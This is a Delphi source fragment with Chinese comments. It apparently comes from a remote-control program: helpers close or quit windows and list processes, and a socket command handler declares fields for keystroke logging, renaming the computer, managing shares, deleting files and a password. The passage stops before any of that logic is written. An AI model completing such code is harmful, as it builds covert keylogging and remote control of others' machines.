procedure TForm1.My_CloseApp(S: string); //确定标题<br>var<br> Exehandle: Thandle;<br>begin<br>//获得句柄-->标题确定<br> ExeHandle := findWindow(nil, Pchar(S)); //返回句柄<br>//关闭程序<br> if ExeHandle <> 0 then<br> PostMessage(ExeHandle, WM_Close, 0, 0);<br>end;<br><br>procedure TForm1.My_FuckApp(S: string); //确定标题<br>var<br> Exehandle: Thandle;<br>begin<br>//获得句柄-->标题确定<br> ExeHandle := findWindow(nil, Pchar(S)); //返回句柄<br>//关闭程序<br> if ExeHandle <> 0 then<br> PostMessage(ExeHandle, WM_Quit, 0, 0);<br>end;<br><br>procedure TForm1.My_SendFocous(S: string);<br>var<br> wnd: HWND;<br>begin<br>//找到应用程序的窗口的句柄<br> wnd := FindWindow(nil, Pchar(s));<br> if wnd <> 0 then<br> if isiconic(wnd) then<br> ShowWindow(wnd, sw_restore)<br> else<br> SetForegroundWindow(wnd)<br> else<br> ShowWindow(wnd, SW_SHOWNORMAL);<br>end;<br><br><br>procedure TForm1.AppMessage(var Msg: TMsg);<br>begin<br> SendMessage(Handle, WM_NCLButtonDown, HTCaption, GetMessagePos);<br>end;<br><br>procedure TForm1.ScanRunfile;<br>var<br> lppe: tprocessentry32;<br> found: boolean;<br> hand: thandle;<br>begin<br> LBfile.Clear;<br> hand := Createtoolhelp32snapshot(th32cs_snapall, 0);<br> found := process32first(hand, lppe);<br> while found do<br> begin<br> LBfile.Items.Add(strpas(lppe.szexefile));<br> found := process32next(hand, lppe);<br> end;<br>end;<br>procedure TForm1.SanWD;<br>var<br> hCurrentWindow: HWnd;<br> szText: array[0..254] of char;<br>begin<br> LBWd.Clear;<br> hCurrentWindow := GetWindow(Handle, GW_HWNDFIRST);<br> while hCurrentWindow <> 0 do<br> begin<br> if GetWindowText(hCurrentWindow, @szText, 255) > 0 then<br> LBWd.Items.Add(StrPas(@szText));<br> hCurrentWindow := GetWindow(hCurrentWindow, GW_HWNDNEXT);<br> end;<br>end;<br><br>procedure Tform1.cjtdoit(Socket: TCustomWinSocket);<br>var<br> Strkey: string; //击键记录<br> BoolKeySpy: boolean; //击键记录 状态<br> StrScreen: string; //读取屏幕分辨率<br> IScreenX, IScreenY: integer; //改变屏幕分辨率<br> StrsetComputername: string; //改变计算机名<br> StrSharName, StrSharPath, StrDelShar: string; //共享<br> Iconi, Btj, Scption, SText: string; //发送信息<br> S, Strrunfile, strwindows, StrVersion, StrPass: string;<br> strWmax, strWfocus, strWclose, strWmin, strWhide, strWquit: string; //窗口操作<br> IntPaper: integer;<br> StrWallpaper: string; //更换墙纸<br> IntFile: integer;<br> StrFile: string; //文件打开<br> StrDelname: string; //文件删除